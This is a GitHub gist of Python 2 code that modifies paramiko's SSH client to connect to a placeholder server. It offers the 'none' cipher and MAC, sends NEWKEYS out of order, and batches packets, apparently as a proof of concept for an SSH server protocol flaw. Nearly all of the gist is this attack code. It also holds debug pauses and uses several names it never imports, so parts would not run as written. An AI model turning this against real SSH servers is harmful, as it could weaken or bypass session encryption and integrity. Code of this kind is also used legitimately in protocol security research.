Skip to content

Instantly share code, notes, and snippets.

@YiChenChai
Created September 4, 2021 19:12
Show Gist options
  • Save YiChenChai/e669708a5f8c160511e1f3a139c62ae6 to your computer and use it in GitHub Desktop.
Save YiChenChai/e669708a5f8c160511e1f3a139c62ae6 to your computer and use it in GitHub Desktop.
from vulnmod import *
import paramiko
import logging
logging.basicConfig()
logging.getLogger("paramiko").setLevel(logging.DEBUG) # for example
ssh_client = VulnSSHClient()
ssh_client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh_client.connect(hostname='x.x.x.x',username='xxx',password='xxx')
from paramiko.transport import Transport
from paramiko.client import SSHClient
import os
import sys
import socket
from paramiko.util import retry_on_signal, ClosingContextManager
from paramiko.common import (
xffffffff,
cMSG_CHANNEL_OPEN,
cMSG_IGNORE,
cMSG_GLOBAL_REQUEST,
DEBUG,
MSG_KEXINIT,
MSG_IGNORE,
MSG_DISCONNECT,
MSG_DEBUG,
ERROR,
WARNING,
cMSG_UNIMPLEMENTED,
INFO,
cMSG_KEXINIT,
cMSG_NEWKEYS,
MSG_NEWKEYS,
cMSG_REQUEST_SUCCESS,
cMSG_REQUEST_FAILURE,
CONNECTION_FAILED_CODE,
OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED,
OPEN_SUCCEEDED,
cMSG_CHANNEL_OPEN_FAILURE,
cMSG_CHANNEL_OPEN_SUCCESS,
MSG_GLOBAL_REQUEST,
MSG_REQUEST_SUCCESS,
MSG_REQUEST_FAILURE,
MSG_CHANNEL_OPEN_SUCCESS,
MSG_CHANNEL_OPEN_FAILURE,
MSG_CHANNEL_OPEN,
MSG_CHANNEL_SUCCESS,
MSG_CHANNEL_FAILURE,
MSG_CHANNEL_DATA,
MSG_CHANNEL_EXTENDED_DATA,
MSG_CHANNEL_WINDOW_ADJUST,
MSG_CHANNEL_REQUEST,
MSG_CHANNEL_EOF,
MSG_CHANNEL_CLOSE,
MIN_WINDOW_SIZE,
MIN_PACKET_SIZE,
MAX_WINDOW_SIZE,
DEFAULT_WINDOW_SIZE,
DEFAULT_MAX_PACKET_SIZE,
HIGHEST_USERAUTH_MESSAGE_ID,
MSG_UNIMPLEMENTED,
MSG_NAMES,
)
from paramiko.compress import ZlibCompressor, ZlibDecompressor
from paramiko.dsskey import DSSKey
from paramiko.ed25519key import Ed25519Key
from paramiko.kex_curve25519 import KexCurve25519
from paramiko.kex_gex import KexGex, KexGexSHA256
from paramiko.kex_group1 import KexGroup1
from paramiko.kex_group14 import KexGroup14, KexGroup14SHA256
from paramiko.kex_group16 import KexGroup16SHA512
from paramiko.kex_ecdh_nist import KexNistp256, KexNistp384, KexNistp521
from paramiko.kex_gss import KexGSSGex, KexGSSGroup1, KexGSSGroup14
from paramiko.message import Message
from paramiko.packet import Packetizer, NeedRekeyException
from paramiko.primes import ModulusPack
from paramiko.py3compat import string_types, long, byte_ord, b, input, PY2
from paramiko.rsakey import RSAKey
from paramiko.ecdsakey import ECDSAKey
from paramiko.server import ServerInterface
from paramiko.sftp_client import SFTPClient
from paramiko.ssh_exception import (
SSHException,
BadAuthenticationType,
ChannelException,
ProxyCommandFailure,
)
from paramiko.util import retry_on_signal, ClosingContextManager, clamp_value
from paramiko import util
SSH_PORT = 22
_active_threads = []
class VulnTransport(Transport):
def _send_message(self, data, queue = False):
if 'queue' not in dir(self):
self.queue = []
if not queue:
v = VulnMessage(self.queue + [data])
super(VulnTransport, self)._send_message(v)
self.queue = []
else:
self.queue.append(data)
def _send_kex_init(self, bad = False):
self.clear_to_send_lock.acquire()
try:
self.clear_to_send.clear()
finally:
self.clear_to_send_lock.release()
self.gss_kex_used = False
self.in_kex = True
if self.server_mode:
mp_required_prefix = "diffie-hellman-group-exchange-sha"
kex_mp = [
k
for k in self.preferred_kex
if k.startswith(mp_required_prefix)
]
if (self._modulus_pack is None) and (len(kex_mp) > 0):
# can't do group-exchange if we don't have a pack of potential
# primes
pkex = [
k
for k in self.get_security_options().kex
if not k.startswith(mp_required_prefix)
]
self.get_security_options().kex = pkex
available_server_keys = list(
filter(
list(self.server_key_dict.keys()).__contains__,
self.preferred_keys,
)
)
else:
available_server_keys = self.preferred_keys
m = Message()
m.add_byte(cMSG_KEXINIT)
m.add_bytes(os.urandom(16))
m.add_list(self.preferred_kex)
m.add_list(available_server_keys)
# print self.preferred_ciphers
if bad:
m.add_list(('none',))
else:
m.add_list(self.preferred_ciphers)
m.add_list(self.preferred_ciphers)
if bad:
m.add_list(('none',))
else:
m.add_list(self.preferred_macs)
m.add_list(self.preferred_macs)
m.add_list(self.preferred_compression)
m.add_list(self.preferred_compression)
m.add_string(bytes())
m.add_string(bytes())
m.add_boolean(False)
m.add_int(0)
# save a copy for later (needed to compute a hash)
self.local_kex_init = m.asbytes()
self._send_message(m, queue = False)
mm = Message()
mm.add_byte(chr(21))
self._send_message(mm)
input()
# self.packetizer.send_message(m)
def run(self):
# (use the exposed "run" method, because if we specify a thread target
# of a private method, threading.Thread will keep a reference to it
# indefinitely, creating a GC cycle and not letting Transport ever be
# GC'd. it's a bug in Thread.)
# Hold reference to 'sys' so we can test sys.modules to detect
# interpreter shutdown.
self.sys = sys
# active=True occurs before the thread is launched, to avoid a race
_active_threads.append(self)
tid = hex(long(id(self)) & xffffffff)
if self.server_mode:
self._log(DEBUG, "starting thread (server mode): {}".format(tid))
else:
self._log(DEBUG, "starting thread (client mode): {}".format(tid))
try:
try:
self.packetizer.write_all(b(self.local_version + "\r\n"))
self._log(
DEBUG,
"Local version/idstring: {}".format(self.local_version),
) # noqa
self._check_banner()
# The above is actually very much part of the handshake, but
# sometimes the banner can be read but the machine is not
# responding, for example when the remote ssh daemon is loaded
# in to memory but we can not read from the disk/spawn a new
# shell.
# Make sure we can specify a timeout for the initial handshake.
# Re-use the banner timeout for now.
self.packetizer.start_handshake(self.handshake_timeout)
self._send_kex_init(bad = True)
self._expect_packet(MSG_KEXINIT)
print 'heee'
input()
while self.active:
if self.packetizer.need_rekey() and not self.in_kex:
self._send_kex_init()
try:
ptype, m = self.packetizer.read_message()
except NeedRekeyException:
continue
if ptype == MSG_IGNORE:
continue
elif ptype == MSG_DISCONNECT:
self._parse_disconnect(m)
break
elif ptype == MSG_DEBUG:
self._parse_debug(m)
continue
if len(self._expected_packet) > 0:
if ptype not in self._expected_packet:
raise SSHException(
"Expecting packet from {!r}, got {:d}".format(
self._expected_packet, ptype
)
) # noqa
self._expected_packet = tuple()
if (ptype >= 30) and (ptype <= 41):
# self.kex_engine.parse_next(ptype, m)
mm = Message()
mm.add_byte(chr(21))
self._send_message(mm)
continue
if ptype in self._handler_table:
error_msg = self._ensure_authed(ptype, m)
if error_msg:
self._send_message(error_msg)
else:
self._handler_table[ptype](self, m)
elif ptype in self._channel_handler_table:
chanid = m.get_int()
chan = self._channels.get(chanid)
if chan is not None:
self._channel_handler_table[ptype](chan, m)
elif chanid in self.channels_seen:
self._log(
DEBUG,
"Ignoring message for dead channel {:d}".format( # noqa
chanid
),
)
else:
self._log(
ERROR,
"Channel request for unknown channel {:d}".format( # noqa
chanid
),
)
break
elif (
self.auth_handler is not None
and ptype in self.auth_handler._handler_table
):
handler = self.auth_handler._handler_table[ptype]
handler(self.auth_handler, m)
if len(self._expected_packet) > 0:
continue
else:
# Respond with "I don't implement this particular
# message type" message (unless the message type was
# itself literally MSG_UNIMPLEMENTED, in which case, we
# just shut up to avoid causing a useless loop).
name = MSG_NAMES[ptype]
warning = "Oops, unhandled type {} ({!r})".format(
ptype, name
)
self._log(WARNING, warning)
if ptype != MSG_UNIMPLEMENTED:
msg = Message()
msg.add_byte(cMSG_UNIMPLEMENTED)
msg.add_int(m.seqno)
self._send_message(msg)
self.packetizer.complete_handshake()
except SSHException as e:
self._log(ERROR, "Exception: " + str(e))
self._log(ERROR, util.tb_strings())
self.saved_exception = e
except EOFError as e:
self._log(DEBUG, "EOF in transport thread")
self.saved_exception = e
except socket.error as e:
if type(e.args) is tuple:
if e.args:
emsg = "{} ({:d})".format(e.args[1], e.args[0])
else: # empty tuple, e.g. socket.timeout
emsg = str(e) or repr(e)
else:
emsg = e.args
self._log(ERROR, "Socket exception: " + emsg)
self.saved_exception = e
except Exception as e:
self._log(ERROR, "Unknown exception: " + str(e))
self._log(ERROR, util.tb_strings())
self.saved_exception = e
_active_threads.remove(self)
for chan in list(self._channels.values()):
chan._unlink()
if self.active:
self.active = False
self.packetizer.close()
if self.completion_event is not None:
self.completion_event.set()
if self.auth_handler is not None:
self.auth_handler.abort()
for event in self.channel_events.values():
event.set()
try:
self.lock.acquire()
self.server_accept_cv.notify()
finally:
self.lock.release()
self.sock.close()
except:
# Don't raise spurious 'NoneType has no attribute X' errors when we
# wake up during interpreter shutdown. Or rather -- raise
# everything *if* sys.modules (used as a convenient sentinel)
# appears to still exist.
if self.sys.modules is not None:
raise
class VulnSSHClient(SSHClient):
def connect(
self,
hostname,
port=SSH_PORT,
username=None,
password=None,
pkey=None,
key_filename=None,
timeout=None,
allow_agent=True,
look_for_keys=True,
compress=False,
sock=None,
gss_auth=False,
gss_kex=False,
gss_deleg_creds=True,
gss_host=None,
banner_timeout=None,
auth_timeout=None,
gss_trust_dns=True,
passphrase=None,
disabled_algorithms=None,
):
"""
Connect to an SSH server and authenticate to it. The server's host key
is checked against the system host keys (see `load_system_host_keys`)
and any local host keys (`load_host_keys`). If the server's hostname
is not found in either set of host keys, the missing host key policy
is used (see `set_missing_host_key_policy`). The default policy is
to reject the key and raise an `.SSHException`.
Authentication is attempted in the following order of priority:
- The ``pkey`` or ``key_filename`` passed in (if any)
- ``key_filename`` may contain OpenSSH public certificate paths
as well as regular private-key paths; when files ending in
``-cert.pub`` are found, they are assumed to match a private
key, and both components will be loaded. (The private key
itself does *not* need to be listed in ``key_filename`` for
this to occur - *just* the certificate.)
- Any key we can find through an SSH agent
- Any "id_rsa", "id_dsa" or "id_ecdsa" key discoverable in
``~/.ssh/``
- When OpenSSH-style public certificates exist that match an
existing such private key (so e.g. one has ``id_rsa`` and
``id_rsa-cert.pub``) the certificate will be loaded alongside
the private key and used for authentication.
- Plain username/password auth, if a password was given
If a private key requires a password to unlock it, and a password is
passed in, that password will be used to attempt to unlock the key.
:param str hostname: the server to connect to
:param int port: the server port to connect to
:param str username:
the username to authenticate as (defaults to the current local
username)
:param str password:
Used for password authentication; is also used for private key
decryption if ``passphrase`` is not given.
:param str passphrase:
Used for decrypting private keys.
:param .PKey pkey: an optional private key to use for authentication
:param str key_filename:
the filename, or list of filenames, of optional private key(s)
and/or certs to try for authentication
:param float timeout:
an optional timeout (in seconds) for the TCP connect
:param bool allow_agent:
set to False to disable connecting to the SSH agent
:param bool look_for_keys:
set to False to disable searching for discoverable private key
files in ``~/.ssh/``
:param bool compress: set to True to turn on compression
:param socket sock:
an open socket or socket-like object (such as a `.Channel`) to use
for communication to the target host
:param bool gss_auth:
``True`` if you want to use GSS-API authentication
:param bool gss_kex:
Perform GSS-API Key Exchange and user authentication
:param bool gss_deleg_creds: Delegate GSS-API client credentials or not
:param str gss_host:
The targets name in the kerberos database. default: hostname
:param bool gss_trust_dns:
Indicates whether or not the DNS is trusted to securely
canonicalize the name of the host being connected to (default
``True``).
:param float banner_timeout: an optional timeout (in seconds) to wait
for the SSH banner to be presented.
:param float auth_timeout: an optional timeout (in seconds) to wait for
an authentication response.
:param dict disabled_algorithms:
an optional dict passed directly to `.Transport` and its keyword
argument of the same name.
:raises:
`.BadHostKeyException` -- if the server's host key could not be
verified
:raises: `.AuthenticationException` -- if authentication failed
:raises:
`.SSHException` -- if there was any other error connecting or
establishing an SSH session
:raises socket.error: if a socket error occurred while connecting
.. versionchanged:: 1.15
Added the ``banner_timeout``, ``gss_auth``, ``gss_kex``,
``gss_deleg_creds`` and ``gss_host`` arguments.
.. versionchanged:: 2.3
Added the ``gss_trust_dns`` argument.
.. versionchanged:: 2.4
Added the ``passphrase`` argument.
.. versionchanged:: 2.6
Added the ``disabled_algorithms`` argument.
"""
if not sock:
errors = {}
# Try multiple possible address families (e.g. IPv4 vs IPv6)
to_try = list(self._families_and_addresses(hostname, port))
for af, addr in to_try:
try:
sock = socket.socket(af, socket.SOCK_STREAM)
if timeout is not None:
try:
sock.settimeout(timeout)
except:
pass
retry_on_signal(lambda: sock.connect(addr))
# Break out of the loop on success
break
except socket.error as e:
# Raise anything that isn't a straight up connection error
# (such as a resolution error)
if e.errno not in (ECONNREFUSED, EHOSTUNREACH):
raise
# Capture anything else so we know how the run looks once
# iteration is complete. Retain info about which attempt
# this was.
errors[addr] = e
# Make sure we explode usefully if no address family attempts
# succeeded. We've no way of knowing which error is the "right"
# one, so we construct a hybrid exception containing all the real
# ones, of a subclass that client code should still be watching for
# (socket.error)
if len(errors) == len(to_try):
raise NoValidConnectionsError(errors)
t = self._transport = VulnTransport(
sock,
gss_kex=gss_kex,
gss_deleg_creds=gss_deleg_creds,
disabled_algorithms=disabled_algorithms,
)
self._transport.packetizer = VulnPacketizer(sock)
t.use_compression(compress=compress)
t.set_gss_host(
# t.hostname may be None, but GSS-API requires a target name.
# Therefore use hostname as fallback.
gss_host=gss_host or hostname,
trust_dns=gss_trust_dns,
gssapi_requested=gss_auth or gss_kex,
)
if self._log_channel is not None:
t.set_log_channel(self._log_channel)
if banner_timeout is not None:
t.banner_timeout = banner_timeout
if auth_timeout is not None:
t.auth_timeout = auth_timeout
if port == SSH_PORT:
server_hostkey_name = hostname
else:
server_hostkey_name = "[{}]:{}".format(hostname, port)
our_server_keys = None
our_server_keys = self._system_host_keys.get(server_hostkey_name)
if our_server_keys is None:
our_server_keys = self._host_keys.get(server_hostkey_name)
if our_server_keys is not None:
keytype = our_server_keys.keys()[0]
sec_opts = t.get_security_options()
other_types = [x for x in sec_opts.key_types if x != keytype]
sec_opts.key_types = [keytype] + other_types
t.start_client(timeout=timeout)
# If GSS-API Key Exchange is performed we are not required to check the
# host key, because the host is authenticated via GSS-API / SSPI as
# well as our client.
if not self._transport.gss_kex_used:
server_key = t.get_remote_server_key()
if our_server_keys is None:
# will raise exception if the key is rejected
self._policy.missing_host_key(
self, server_hostkey_name, server_key
)
else:
our_key = our_server_keys.get(server_key.get_name())
if our_key != server_key:
if our_key is None:
our_key = list(our_server_keys.values())[0]
raise BadHostKeyException(hostname, server_key, our_key)
if username is None:
username = getpass.getuser()
if key_filename is None:
key_filenames = []
elif isinstance(key_filename, string_types):
key_filenames = [key_filename]
else:
key_filenames = key_filename
self._auth(
username,
password,
pkey,
key_filenames,
allow_agent,
look_for_keys,
gss_auth,
gss_kex,
gss_deleg_creds,
t.gss_host,
passphrase,
)
class FakeStr:
def __init__(self, messages):
self.messages = messages
self.thestr = ''.join([m.asbytes() for m in self.messages])
def __getitem__(self, idx):
return self.thestr[idx]
def __len__(self):
return len(self.thestr)
class VulnMessage:
def __init__(self, messages):
self.messages = messages
def asbytes(self):
return FakeStr(self.messages)
class VulnPacketizer(Packetizer):
def _build_packet(self, payload):
if payload.__class__.__name__ == 'FakeStr':
return ''.join([super(VulnPacketizer, self)._build_packet(p.asbytes()) for p in payload.messages])
return super(VulnPacketizer, self)._build_packet(payload)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment